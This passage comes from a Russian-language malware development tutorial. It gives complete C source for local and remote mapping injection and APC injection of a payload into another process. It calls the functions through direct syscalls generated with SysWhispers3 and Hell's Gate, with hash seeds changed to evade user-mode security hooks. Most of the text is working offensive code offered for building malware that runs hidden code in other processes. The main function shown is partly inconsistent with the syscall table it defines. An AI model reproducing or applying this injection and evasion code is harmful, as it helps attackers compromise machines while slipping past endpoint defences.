    if ((STATUS = St.pNtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, &MaximumSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL)) != 0) {
        printf("[!] NtCreateSection Failed With Error : 0x%0.8X \n", STATUS);
        return FALSE;
    }

    if ((STATUS = St.pNtMapViewOfSection(hSection, (HANDLE)-1, &pAddress, NULL, NULL, NULL, &sViewSize, ViewShare, NULL, PAGE_EXECUTE_READWRITE)) != 0) {
        printf("[!] NtMapViewOfSection Failed With Error : 0x%0.8X \n", STATUS);
        return FALSE;
    }
    printf("[+] Allocated Address At : 0x%p Of Size : %d \n", pAddress, sViewSize);

//--------------------------------------------------------------------------
    // Запись полезной нагрузки

    printf("[#] Press <Enter> To Write The Payload ... ");
    getchar();
    memcpy(pAddress, pPayload, sPayloadSize);
    printf("\t[+] Payload is Copied From 0x%p To 0x%p \n", pPayload, pAddress);

//--------------------------------------------------------------------------

    // Выполнение полезной нагрузки с помощью создания потока

    printf("[#] Press <Enter> To Run The Payload ... ");
    getchar();
    printf("\t[i] Running Thread Of Entry 0x%p ... ", pAddress);
    if ((STATUS = St.pNtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, (HANDLE)-1, pAddress, NULL, NULL, NULL, NULL, NULL, NULL)) != 0) {
        printf("[!] NtCreateThreadEx Failed With Error : 0x%0.8X \n", STATUS);
        return FALSE;
    }
    printf("[+] DONE \n");
    printf("\t[+] Thread Created With Id : %d \n", GetThreadId(hThread));

//--------------------------------------------------------------------------

    // Отключение локального отображения - только после выполнения полезной нагрузки
    if ((STATUS = St.pNtUnmapViewOfSection((HANDLE)-1, pAddress)) != 0) {
        printf("[!] NtUnmapViewOfSection Failed With Error : 0x%0.8X \n", STATUS);
        return FALSE;
    }

    // Закрытие дескриптора секции
    if ((STATUS = St.pNtClose(hSection)) != 0) {
        printf("[!] NtClose Failed With Error : 0x%0.8X \n", STATUS);
        return FALSE;
    }

    return TRUE;
}

C:
BOOL RemoteMappingInjectionViaSyscalls(IN HANDLE hProcess, IN PVOID pPayload, IN SIZE_T sPayloadSize) {

    HANDLE                hSection            = NULL;
    HANDLE                hThread                = NULL;
    PVOID                pLocalAddress        = NULL,
                        pRemoteAddress        = NULL;
    NTSTATUS            STATUS                = NULL;
    SIZE_T                sViewSize            = NULL;
    LARGE_INTEGER        MaximumSize         = {
            .HighPart = 0,
            .LowPart = sPayloadSize
    };
    Syscall                St                    = { 0 };

    // Инициализация структуры 'St' для получения адресов системных вызовов
    if (!InitializeSyscallStruct(&St)) {
        printf("[!] Could Not Initialize The Syscall Struct \n");
        return FALSE;
    }

    // Выделение отображения в удаленном процессе
    if ((STATUS = St.pNtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, &MaximumSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL)) != 0) {
        printf("[!] NtCreateSection Failed With Error : 0x%0.8X \n", STATUS);
        return FALSE;
    }

    if ((STATUS = St.pNtMapViewOfSection(hSection, (HANDLE)-1, &pLocalAddress, NULL, NULL, NULL, &sViewSize, ViewShare, NULL, PAGE_EXECUTE_READWRITE)) != 0) {
        printf("[!] NtMapViewOfSection Failed With Error : 0x%0.8X \n", STATUS);
        return FALSE;
    }

    printf("[+] Allocated Local Address At : 0x%p Of Size : %d \n", pLocalAddress, sViewSize);

    // Запись полезной нагрузки в локальное отображение
    printf("[#] Press <Enter> To Write The Payload ... ");
    getchar();
    memcpy(pLocalAddress, pPayload, sPayloadSize);
    printf("\t[+] Payload is Copied From 0x%p To 0x%p \n", pPayload, pLocalAddress);

    // Получение адреса в удаленном процессе
    if ((STATUS = St.pNtMapViewOfSection(hSection, hProcess, &pRemoteAddress, NULL, NULL, NULL, &sViewSize, ViewShare, NULL, PAGE_EXECUTE_READWRITE)) != 0) {
        printf("[!] NtMapViewOfSection Failed With Error : 0x%0.8X \n", STATUS);
        return FALSE;
    }
    printf("[+] Allocated Remote Address At : 0x%p Of Size : %d \n", pRemoteAddress, sViewSize);

    // Запуск полезной нагрузки в удаленном процессе
    printf("[#] Press <Enter> To Run The Payload ... ");
    getchar();
    printf("\t[i] Running Thread Of Entry 0x%p In The Remote Process ... ", pRemoteAddress);
    if ((STATUS = St.pNtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, pRemoteAddress, NULL, NULL, NULL, NULL, NULL, NULL)) != 0) {
        printf("[!] NtCreateThreadEx Failed With Error : 0x%0.8X \n", STATUS);
        return FALSE;
    }
    printf("[+] DONE \n");
    printf("\t[+] Thread Created With Id : %d \n", GetThreadId(hThread));

    // Освобождение локального отображения
    if ((STATUS = St.pNtUnmapViewOfSection((HANDLE)-1, pLocalAddress)) != 0) {
        printf("[!] NtUnmapViewOfSection Failed With Error : 0x%0.8X \n", STATUS);
        return FALSE;
    }

    // Закрытие дескриптора секции
    if ((STATUS = St.pNtClose(hSection)) != 0) {
        printf("[!] NtClose Failed With Error : 0x%0.8X \n", STATUS);
        return FALSE;
    }

    return TRUE;
}

Функцию NtUnmapViewOfSection следует выполнять только после завершения выполнения полезной нагрузки. Попытка отмены отображения локального представления во время выполнения полезной нагрузки может привести к нарушению выполнения полезной нагрузки или вызвать сбой процесса. В качестве альтернативы можно использовать системный вызов NtWaitForSingleObject для ожидания завершения потока, после чего можно выполнить системный вызов NtUnmapViewOfSection для очистки отображенной полезной нагрузки. Однако это остается на усмотрение читателя.

Реализация с использованием SysWhispers

В данной реализации используется SysWhispers3 для обхода пользовательских хуков через прямые системные вызовы. Для создания необходимых файлов для этой реализации используется следующая команда.

Код:
python syswhispers.py -a x64 -c msvc -m jumper_randomized -f NtCreateSection,NtMapViewOfSection,NtUnmapViewOfSection,NtClose,NtCreateThreadEx -o SysWhispers -v*

Генерируются три файла: SysWhispers.h, SysWhispers.c и SysWhispers-asm.x64.asm.

Следующим шагом является импорт этих файлов в Visual Studio, как показано было выше.

Ниже приведены функции LocalMappingInjectionViaSyscalls и RemoteMappingInjectionViaSyscalls.

C:
BOOL LocalMappingInjectionViaSyscalls(IN PVOID pPayload, IN SIZE_T sPayloadSize) {

    HANDLE                hSection        = NULL;
    HANDLE                hThread            = NULL;
    PVOID                pAddress        = NULL;
    NTSTATUS            STATUS            = NULL;
    SIZE_T                sViewSize        = NULL;
    LARGE_INTEGER        MaximumSize        = {
            .HighPart = 0,
            .LowPart = sPayloadSize
    };

//--------------------------------------------------------------------------
    // Выделение локального представления

    if ((STATUS = NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, &MaximumSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL)) != 0) {
        printf("[!] NtCreateSection завершилась с ошибкой: 0x%0.8X \n", STATUS);
        return FALSE;
    }

    if ((STATUS = NtMapViewOfSection(hSection, (HANDLE)-1, &pAddress, NULL, NULL, NULL, &sViewSize, ViewShare, NULL, PAGE_EXECUTE_READWRITE)) != 0) {
        printf("[!] NtMapViewOfSection завершилась с ошибкой: 0x%0.8X \n", STATUS);
        return FALSE;
    }
    printf("[+] Выделен адрес: 0x%p размером: %d \n", pAddress, sViewSize);

//--------------------------------------------------------------------------

    // Запись полезной нагрузки
    printf("[#] Нажмите <Enter>, чтобы записать полезную нагрузку ... ");
    getchar();
    memcpy(pAddress, pPayload, sPayloadSize);
    printf("\t[+] Полезная нагрузка скопирована с 0x%p по 0x%p \n", pPayload, pAddress);

//--------------------------------------------------------------------------

    // Выполнение полезной нагрузки через создание потока

    printf("[#] Нажмите <Enter>, чтобы запустить полезную нагрузку ... ");
    getchar();
    printf("\t[i] Запуск потока с точки входа 0x%p ... ", pAddress);
    if ((STATUS = NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, (HANDLE)-1, pAddress, NULL, NULL, NULL, NULL, NULL, NULL)) != 0) {
        printf("[!] NtCreateThreadEx завершилась с ошибкой: 0x%0.8X \n", STATUS);
        return FALSE;
    }
    printf("[+] ГОТОВО \n");
    printf("\t[+] Поток создан с ID : %d \n", GetThreadId(hThread));

//--------------------------------------------------------------------------

    // Отмена отображения локального представления - только после завершения выполнения полезной нагрузки
    if ((STATUS = NtUnmapViewOfSection((HANDLE)-1, pAddress)) != 0) {
        printf("[!] NtUnmapViewOfSection завершилась с ошибкой: 0x%0.8X \n", STATUS);
        return FALSE;
    }

    // Закрытие дескриптора раздела
    if ((STATUS = NtClose(hSection)) != 0) {
        printf("[!] NtClose завершилась с ошибкой: 0x%0.8X \n", STATUS);
        return FALSE;
    }

    return TRUE;
}

C:
BOOL RemoteMappingInjectionViaSyscalls(IN HANDLE hProcess, IN PVOID pPayload, IN SIZE_T sPayloadSize) {

    HANDLE                hSection            = NULL;
    HANDLE                hThread                = NULL;
    PVOID                pLocalAddress        = NULL,
                        pRemoteAddress        = NULL;
    NTSTATUS            STATUS                = NULL;
    SIZE_T                sViewSize            = NULL;
    LARGE_INTEGER        MaximumSize         = {
            .HighPart = 0,
            .LowPart = sPayloadSize
    };

//--------------------------------------------------------------------------
    // Выделение локального представления

    if ((STATUS = NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, &MaximumSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL)) != 0) {
        printf("[!] NtCreateSection завершилась с ошибкой: 0x%0.8X \n", STATUS);
        return FALSE;
    }

    if ((STATUS = NtMapViewOfSection(hSection, (HANDLE)-1, &pLocalAddress, NULL, NULL, NULL, &sViewSize, ViewShare, NULL, PAGE_READWRITE)) != 0) {
        printf("[!] NtMapViewOfSection [L] завершилась с ошибкой: 0x%0.8X \n", STATUS);
        return FALSE;
    }

    printf("[+] Локальная память выделена по адресу: 0x%p размером: %d \n", pLocalAddress, sViewSize);

//--------------------------------------------------------------------------

    // Запись полезной нагрузки
    printf("[#] Нажмите <Enter>, чтобы записать полезную нагрузку ... ");
    getchar();
    memcpy(pLocalAddress, pPayload, sPayloadSize);
    printf("\t[+] Полезная нагрузка скопирована с 0x%p по 0x%p \n", pPayload, pLocalAddress);

//--------------------------------------------------------------------------

    // Выделение удаленного представления
    if ((STATUS = NtMapViewOfSection(hSection, hProcess, &pRemoteAddress, NULL, NULL, NULL, &sViewSize, ViewShare, NULL, PAGE_EXECUTE_READWRITE)) != 0) {
        printf("[!] NtMapViewOfSection [R] завершилась с ошибкой: 0x%0.8X \n", STATUS);
        return FALSE;
    }

    printf("[+] Удаленная память выделена по адресу: 0x%p размером: %d \n", pRemoteAddress, sViewSize);

//--------------------------------------------------------------------------

    // Выполнение полезной нагрузки через создание потока
    printf("[#] Нажмите <Enter>, чтобы запустить полезную нагрузку ... ");
    getchar();
    printf("\t[i] Запуск потока с точки входа 0x%p ... ", pRemoteAddress);
    if ((STATUS = NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, pRemoteAddress, NULL, NULL, NULL, NULL, NULL, NULL)) != 0) {
        printf("[!] NtCreateThreadEx завершилась с ошибкой: 0x%0.8X \n", STATUS);
        return FALSE;
    }
    printf("[+] ГОТОВО \n");
    printf("\t[+] Поток создан с ID : %d \n", GetThreadId(hThread));

//--------------------------------------------------------------------------

    // Отмена отображения локального представления - только после завершения выполнения полезной нагрузки
    if ((STATUS = NtUnmapViewOfSection((HANDLE)-1, pLocalAddress)) != 0) {
        printf("[!] NtUnmapViewOfSection завершилась с ошибкой: 0x%0.8X \n", STATUS);
        return FALSE;
    }

    // Закрытие дескриптора раздела
    if ((STATUS = NtClose(hSection)) != 0) {
        printf("[!] NtClose завершилась с ошибкой: 0x%0.8X \n", STATUS);
        return FALSE;
    }

    return TRUE;
}

Реализация с использованием Hell's Gate

Последняя реализация для этого модуля использует Hell's Gate. Во-первых, убедитесь, что выполняются те же шаги, что и для настройки проекта Visual Studio с SysWhispers3.
В частности, включение MASM и изменение свойств для установки файла ASM для компиляции с использованием Microsoft Macro Assembler.

Обновление структуры VX_TABLE

C:
typedef struct _VX_TABLE {
    VX_TABLE_ENTRY NtCreateSection;
    VX_TABLE_ENTRY NtMapViewOfSection;
    VX_TABLE_ENTRY NtUnmapViewOfSection;
    VX_TABLE_ENTRY NtClose;
    VX_TABLE_ENTRY NtCreateThreadEx;
} VX_TABLE, * PVX_TABLE;

Обновление значения Seed Value

Новое значение семени будет использоваться , чтобы изменить хэш-значения системных вызовов. Функция хеширования djb2 обновляется с новым значением Seed Value, приведенным ниже:

C:
DWORD64 djb2(PBYTE str) {
    DWORD64 dwHash = 0x77347734DEADBEEF; // Старое значение: 0x7734773477347734
    INT c;

    while (c = *str++)
        dwHash = ((dwHash << 0x5) + dwHash) + c;

    return dwHash;
}

Теперь необходимо сгенерировать хэш-значений djb2 для функций (Напишите консольную программу например):

C:
printf("#define %s%s 0x%p \n", "NtCreateSection", "_djb2", (DWORD64)djb2("NtCreateSection"));
printf("#define %s%s 0x%p \n", "NtMapViewOfSection", "_djb2", djb2("NtMapViewOfSection"));
printf("#define %s%s 0x%p \n", "NtUnmapViewOfSection", "_djb2", djb2("NtUnmapViewOfSection"));
printf("#define %s%s 0x%p \n", "NtClose", "_djb2", djb2("NtClose"));
printf("#define %s%s 0x%p \n", "NtCreateThreadEx", "_djb2", djb2("NtCreateThreadEx"));

Как только значения сгенерированы, добавьте их в начало проекта Hell's Gate:

C:
#define NtCreateSection_djb2         0x5687F81AC5D1497A
#define NtMapViewOfSection_djb2      0x0778E82F702E79D4
#define NtUnmapViewOfSection_djb2    0x0BF2A46A27B93797
#define NtClose_djb2                 0x0DA4FA80EF5031E7
#define NtCreateThreadEx_djb2        0x2786FB7E75145F1A

Функции LocalMappingInjectionViaSyscalls и RemoteMappingInjectionViaSyscalls

C:
BOOL LocalMappingInjectionViaSyscalls(IN PVX_TABLE pVxTable, IN PVOID pPayload, IN SIZE_T sPayloadSize) {

    HANDLE                hSection        = NULL;
    HANDLE                hThread            = NULL;
    PVOID                pAddress        = NULL;
    NTSTATUS            STATUS            = NULL;
    SIZE_T                sViewSize        = NULL;
    LARGE_INTEGER        MaximumSize     = {
            .HighPart = 0,
            .LowPart = sPayloadSize
    };

//--------------------------------------------------------------------------
    // Выделение локального представления
    HellsGate(pVxTable->NtCreateSection.wSystemCall);
    if ((STATUS = HellDescent(&hSection, SECTION_ALL_ACCESS, NULL, &MaximumSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL)) != 0) {
        printf("[!] NtCreateSection завершилась с ошибкой: 0x%0.8X \n", STATUS);
        return FALSE;
    }

    HellsGate(pVxTable->NtMapViewOfSection.wSystemCall);
    if ((STATUS = HellDescent(hSection, (HANDLE)-1, &pAddress, NULL, NULL, NULL, &sViewSize, ViewShare, NULL, PAGE_EXECUTE_READWRITE)) != 0) {
        printf("[!] NtMapViewOfSection завершилась с ошибкой: 0x%0.8X \n", STATUS);
        return FALSE;
    }
    printf("[+] Выделен адрес: 0x%p размером: %ld \n", pAddress, sViewSize);

//--------------------------------------------------------------------------
    // Запись полезной нагрузки
    printf("[#] Нажмите <Enter>, чтобы записать полезную нагрузку ... ");
    getchar();
    memcpy(pAddress, pPayload, sPayloadSize);
    printf("\t[+] Полезная нагрузка скопирована с 0x%p по 0x%p \n", pPayload, pAddress);
    printf("[#] Нажмите <Enter>, чтобы запустить полезную нагрузку ... ");
    getchar();

//--------------------------------------------------------------------------

    // Выполнение полезной нагрузки через создание потока
    printf("\t[i] Запуск потока с точки входа 0x%p ... ", pAddress);
    HellsGate(pVxTable->NtCreateThreadEx.wSystemCall);
    if ((STATUS = HellDescent(&hThread, THREAD_ALL_ACCESS, NULL, (HANDLE)-1, pAddress, NULL, NULL, NULL, NULL, NULL, NULL)) != 0) {
        printf("[!] NtCreateThreadEx завершилась с ошибкой: 0x%0.8X \n", STATUS);
        return FALSE;
    }
    printf("[+] ГОТОВО \n");
    printf("\t[+] Поток создан с ID : %d \n", GetThreadId(hThread));

//--------------------------------------------------------------------------

    // Отмена отображения локального представления - только после завершения выполнения полезной нагрузки
    HellsGate(pVxTable->NtUnmapViewOfSection.wSystemCall);
    if ((STATUS = HellDescent((HANDLE)-1, pAddress)) != 0) {
        printf("[!] NtUnmapViewOfSection завершилась с ошибкой: 0x%0.8X \n", STATUS);
        return FALSE;
    }

    // Закрытие дескриптора раздела
    HellsGate(pVxTable->NtClose.wSystemCall);
    if ((STATUS = HellDescent(hSection)) != 0) {
        printf("[!] NtClose завершилась с ошибкой: 0x%0.8X \n", STATUS);
        return FALSE;
    }

    return TRUE;
}

C:
BOOL RemoteMappingInjectionViaSyscalls(IN PVX_TABLE pVxTable, IN HANDLE hProcess, IN PVOID pPayload, IN SIZE_T sPayloadSize) {

    HANDLE                hSection            = NULL;
    HANDLE                hThread                = NULL;
    PVOID                pLocalAddress        = NULL,
                        pRemoteAddress        = NULL;
    NTSTATUS            STATUS                = NULL;
    SIZE_T                sViewSize            = NULL;
    LARGE_INTEGER        MaximumSize         = {
            .HighPart = 0,
            .LowPart = sPayloadSize
    };

//--------------------------------------------------------------------------
    // Выделение локального представления

    HellsGate(pVxTable->NtCreateSection.wSystemCall);
    if ((STATUS = HellDescent(&hSection, SECTION_ALL_ACCESS, NULL, &MaximumSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL)) != 0) {
        printf("[!] NtCreateSection завершилась с ошибкой: 0x%0.8X \n", STATUS);
        return FALSE;
    }

    HellsGate(pVxTable->NtMapViewOfSection.wSystemCall);
    if ((STATUS = HellDescent(hSection, (HANDLE)-1, &pLocalAddress, NULL, NULL, NULL, &sViewSize, ViewShare, NULL, PAGE_READWRITE)) != 0) {
        printf("[!] NtMapViewOfSection [L] завершилась с ошибкой: 0x%0.8X \n", STATUS);
        return FALSE;
    }

    printf("[+] Локальная память выделена по адресу: 0x%p размером: %d \n", pLocalAddress, sViewSize);

//--------------------------------------------------------------------------

    // Запись полезной нагрузки
    printf("[#] Нажмите <Enter>, чтобы записать полезную нагрузку ... ");
    getchar();
    memcpy(pLocalAddress, pPayload, sPayloadSize);
    printf("\t[+] Полезная нагрузка скопирована с 0x%p по 0x%p \n", pPayload, pLocalAddress);

//--------------------------------------------------------------------------

    // Выделение удаленного представления
    HellsGate(pVxTable->NtMapViewOfSection.wSystemCall);
    if ((STATUS = HellDescent(hSection, hProcess, &pRemoteAddress, NULL, NULL, NULL, &sViewSize, ViewShare, NULL, PAGE_EXECUTE_READWRITE)) != 0) {
        printf("[!] NtMapViewOfSection [R] завершилась с ошибкой: 0x%0.8X \n", STATUS);
        return FALSE;
    }

    printf("[+] Удаленная память выделена по адресу: 0x%p размером: %d \n", pRemoteAddress, sViewSize);

//--------------------------------------------------------------------------

    // Выполнение полезной нагрузки через создание потока
    printf("[#] Нажмите <Enter>, чтобы запустить полезную нагрузку ... ");
    getchar();
    printf("\t[i] Запуск потока с точки входа 0x%p ... ", pRemoteAddress);
    HellsGate(pVxTable->NtCreateThreadEx.wSystemCall);
    if ((STATUS = HellDescent(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, pRemoteAddress, NULL, NULL, NULL, NULL, NULL, NULL)) != 0) {
        printf("[!] NtCreateThreadEx завершилась с ошибкой: 0x%0.8X \n", STATUS);
        return FALSE;
    }
    printf("[+] ГОТОВО \n");
    printf("\t[+] Поток создан с ID: %d \n", GetThreadId(hThread));

//--------------------------------------------------------------------------

    // Отмена отображения локального представления - только после завершения выполнения полезной нагрузки
    HellsGate(pVxTable->NtUnmapViewOfSection.wSystemCall);
    if ((STATUS = HellDescent((HANDLE)-1, pLocalAddress)) != 0) {
        printf("[!] NtUnmapViewOfSection завершилась с ошибкой: 0x%0.8X \n", STATUS);
        return FALSE;
    }

    // Закрытие дескриптора раздела
    HellsGate(pVxTable->NtClose.wSystemCall);
    if ((STATUS = HellDescent(hSection)) != 0) {
        printf("[!] NtClose завершилась с ошибкой: 0x%0.8X \n", STATUS);
        return FALSE;
    }

    return TRUE;
}

Обновление главной функции

Главная функция должна быть обновлена, чтобы вызывать LocalMappingInjectionViaSyscalls вместо . Функция будет использовать выше сгенерированные хэши, как показано ниже.

C:
INT main() {
    // Getting the PEB structure
    PTEB pCurrentTeb = RtlGetThreadEnvironmentBlock();
    PPEB pCurrentPeb = pCurrentTeb->ProcessEnvironmentBlock;
    if (!pCurrentPeb || !pCurrentTeb || pCurrentPeb->OSMajorVersion != 0xA)
        return 0x1;

    // Getting the NTDLL module
    PLDR_DATA_TABLE_ENTRY pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pCurrentPeb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);

    // Getting the EAT of Ntdll
    PIMAGE_EXPORT_DIRECTORY pImageExportDirectory = NULL;
    if (!GetImageExportDirectory(pLdrDataEntry->DllBase, &pImageExportDirectory) || pImageExportDirectory == NULL)
        return 0x01;

//--------------------------------------------------------------------------
    // Initializing the 'Table' structure
    VX_TABLE Table = { 0 };
    Table.NtAllocateVirtualMemory.dwHash = NtAllocateVirtualMemory_djb2;
    if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtAllocateVirtualMemory))
        return 0x1;

    Table.NtWriteVirtualMemory.dwHash = NtWriteVirtualMemory_djb2;
    if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtWriteVirtualMemory))
        return 0x1;

    Table.NtProtectVirtualMemory.dwHash = NtProtectVirtualMemory_djb2;
    if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtProtectVirtualMemory))
        return 0x1;

    Table.NtCreateThreadEx.dwHash = NtCreateThreadEx_djb2;
    if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtCreateThreadEx))
        return 0x1;

//--------------------------------------------------------------------------
    // injection code - calling the 'ClassicInjectionViaSyscalls' function


// If local injection
#ifdef LOCAL_INJECTION if (!LocalMappingInjectionViaSyscalls(&Table, (HANDLE)-1, Payload, sizeof(Payload)))
        return 0x1;
#endif // LOCAL_INJECTION// If remote injection
#ifdef REMOTE_INJECTION// Open a handle to the target process
    printf("[i] Targeting process of id : %d \n", PROCESS_ID);
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PROCESS_ID);
    if (hProcess == NULL) {
        printf("[!] OpenProcess Failed With Error : %d \n", GetLastError());
        return -1;
    }

    if (!RemoteMappingInjectionViaSyscalls(&Table, hProcess, Payload, sizeof(Payload)))
        return 0x1;

#endif // REMOTE_INJECTIONreturn 0x00;
}

Локальная vs удаленная инъекция

Аналогично предыдущему модулю, был создан макрос-препроцессорный код для целей локального процесса, если LOCAL_INJECTION определено. Пример препроцессорного кода приведен ниже:

Код:
#define LOCAL_INJECTION#ifndef LOCAL_INJECTION#define REMOTE_INJECTION// Установите PID целевого процесса
#define PROCESS_ID    18784    #endif // !LOCAL_INJECTION

Давайте теперь перепишем технику Уроки - Разработка вирусов-19.Изучаем технику APC Injection

Этот модуль реализует технику инъекции APC с использованием прямых системных вызовов, заменяя WinAPI на их эквиваленты с использованием системных вызовов. Выделение памяти и запись полезной нагрузки будут выполняться с использованием функций NtAllocateVirtualMemory, NtProtectVirtualMemory и NtWriteVirtualMemory, которые уже обсуждались в реализации классической инъекции. Оставшийся системный вызов, который будет объяснен, - это NtQueueApcThread.

QueueUserAPC заменен на NtQueueApcThread.

NtQueueApcThread

Этот системный вызов является результатом QueueUserAPC WinAPI. Nиже приведен пример NtQueueApcThread.


C:
NTSTATUS NtQueueApcThread(
IN HANDLE ThreadHandle, // Дескриптор потока для выполнения указанной APC
IN PIO_APC_ROUTINE ApcRoutine, // Указатель на предоставленную пользователем функцию APC для выполнения
IN PVOID ApcRoutineContext OPTIONAL, // Указатель на параметр (1) для APC (установлен в NULL)
IN PIO_STATUS_BLOCK ApcStatusBlock OPTIONAL, // Указатель на параметр (2) для APC (установлен в NULL)
IN ULONG ApcReserved OPTIONAL // Указатель на параметр (3) для APC (установлен в NULL)
);

Первые два параметра тривиальны для понимания. Оставшиеся три - ApcRoutineContext, ApcStatusBlock и ApcReserved, используются в качестве параметров для функции APC, ApcRoutine.

Создание потока, поддерживающего сигналы

Поскольку техника инъекции APC требует наличия потока в состоянии, поддерживающем сигналы, это обеспечивается с использованием функции CreateThread WinAPI.

Функция AlterableFunction будет вызываться жертвенным потоком.

C:
VOID AlterableFunction() {

HANDLE hEvent = CreateEvent(NULL, NULL, NULL, NULL);

MsgWaitForMultipleObjectsEx(
1,
&hEvent,
INFINITE,
QS_HOTKEY,
MWMO_ALERTABLE
);

}

Реализация с использованием GetProcAddress и GetModuleHandle

Создается и инициализируется структура Syscall с помощью функции InitializeSyscallStruct, которая содержит адреса используемых системных вызовов, как показано ниже.

C:
typedef struct _Syscall {

fnNtAllocateVirtualMemory pNtAllocateVirtualMemory;
fnNtProtectVirtualMemory  pNtProtectVirtualMemory;
fnNtWriteVirtualMemory    pNtWriteVirtualMemory;
fnNtQueueApcThread        pNtQueueApcThread;
} Syscall, * PSyscall;

Функция для заполнения структуры 'St'

C:
BOOL InitializeSyscallStruct(OUT PSyscall St) {

rust
Copy code
HMODULE hNtdll =  GetModuleHandle(L"NTDLL.DLL");
if (!hNtdll) {
    printf("[!] GetModuleHandle Failed With Error : %d \n", GetLastError());
    return FALSE;
}

St->pNtAllocateVirtualMemory  = (fnNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
St->pNtProtectVirtualMemory   = (fnNtProtectVirtualMemory)GetProcAddress(hNtdll, "NtProtectVirtualMemory");
St->pNtWriteVirtualMemory     = (fnNtWriteVirtualMemory)GetProcAddress(hNtdll, "NtWriteVirtualMemory");
St->pNtQueueApcThread         = (fnNtQueueApcThread)GetProcAddress(hNtdll, "NtQueueApcThread");

// Проверка, что GetProcAddress не пропустил системный вызов
if (St->pNtAllocateVirtualMemory == NULL || St->pNtProtectVirtualMemory == NULL || St->pNtWriteVirtualMemory == NULL || St->pNtQueueApcThread == NULL)
    return FALSE;
else
    return TRUE;
}

Далее функция ApcInjectionViaSyscalls будет отвечать за выделение, запись и выполнение полезной нагрузки pPayload в целевом процессе hProcess. Она будет использовать дескриптор жертвенного потока hThread. Функция возвращает FALSE, если не удается выполнить полезную нагрузку, и TRUE, если выполнение прошло успешно.

C:
BOOL ApcInjectionViaSyscalls(IN HANDLE hProcess, IN HANDLE hThread, IN PVOID pPayload, IN SIZE_T sPayloadSize) {

Syscall     St                      = { 0 };
NTSTATUS    STATUS                  = NULL;
PVOID       pAddress                = NULL;
ULONG       uOldProtection          = NULL;
SIZE_T      sSize                   = sPayloadSize,
            sNumberOfBytesWritten   = NULL;

// Инициализация структуры 'St' для получения адресов системных вызовов
if (!InitializeSyscallStruct(&St)) {
    printf("[!] Could Not Initialize The Syscall Struct \n");
    return FALSE;
}

// Выделение памяти
if ((STATUS = St.pNtAllocateVirtualMemory(hProcess, &pAddress, 0, &sSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE)) != 0) {
    printf("[!] NtAllocateVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
    return FALSE;
}
printf("[+] Allocated Address At : 0x%p Of Size : %d \n", pAddress, sSize);
//--------------------------------------------------------------------------

// Запись полезной нагрузки
printf("[#] Press <Enter> To Write The Payload ... ");
getchar();
printf("\t[i] Writing Payload Of Size %d ... ", sPayloadSize);
if ((STATUS = St.pNtWriteVirtualMemory(hProcess, pAddress, pPayload, sPayloadSize, &sNumberOfBytesWritten)) != 0 || sNumberOfBytesWritten != sPayloadSize) {
    printf("[!] pNtWriteVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
    printf("[i] Bytes Written : %d of %d \n", sNumberOfBytesWritten, sPayloadSize);
    return FALSE;
}
printf("[+] DONE \n");
//--------------------------------------------------------------------------

// Изменение разрешений памяти на RWX
if ((STATUS = St.pNtProtectVirtualMemory(hProcess, &pAddress, &sPayloadSize, PAGE_EXECUTE_READWRITE, &uOldProtection)) != 0) {
    printf("[!] NtProtectVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
    return FALSE;
}
//--------------------------------------------------------------------------

// Выполнение полезной нагрузки с помощью NtQueueApcThread

printf("[#] Press <Enter> To Run The Payload ... ");
getchar();
printf("\t[i] Running Payload At 0x%p Using Thread Of Id : %d ... ", pAddress, GetThreadId(hThread));
if ((STATUS = St.pNtQueueApcThread(hThread, pAddress, NULL, NULL, NULL)) != 0) {
    printf("[!] NtQueueApcThread Failed With Error : 0x%0.8X \n", STATUS);
    return FALSE;
}
printf("[+] DONE \n");

return TRUE;
}

Реализация с использованием SysWhispers

Здесь реализация использует SysWhispers3 для обхода пользовательских хуков через прямые системные вызовы. Для этой реализации используется следующая команда для создания необходимых файлов.

Код:
python syswhispers.py -a x64 -c msvc -m jumper_randomized -f NtAllocateVirtualMemory,NtProtectVirtualMemory,NtWriteVirtualMemory,NtQueueApcThread -o SysWhispers -v

Генерируются три файла: SysWhispers.h, SysWhispers.c и SysWhispers-asm.x64.asm.
Следующим шагом является импорт этих файлов в Visual Studio, как было продемонстрировано ранее. Функция ApcInjectionViaSyscalls приведена ниже.

C:
BOOL ApcInjectionViaSyscalls(IN HANDLE hProcess, IN HANDLE hThread, IN PVOID pPayload, IN SIZE_T sPayloadSize) {

Syscall     St                      = { 0 };
NTSTATUS    STATUS                  = NULL;
PVOID       pAddress                = NULL;
ULONG       uOldProtection          = NULL;
SIZE_T      sSize                   = sPayloadSize,
            sNumberOfBytesWritten   = NULL;

// Выделение памяти
if ((STATUS = NtAllocateVirtualMemory(hProcess, &pAddress, 0, &sSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE)) != 0) {
    printf("[!] NtAllocateVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
    return FALSE;
}
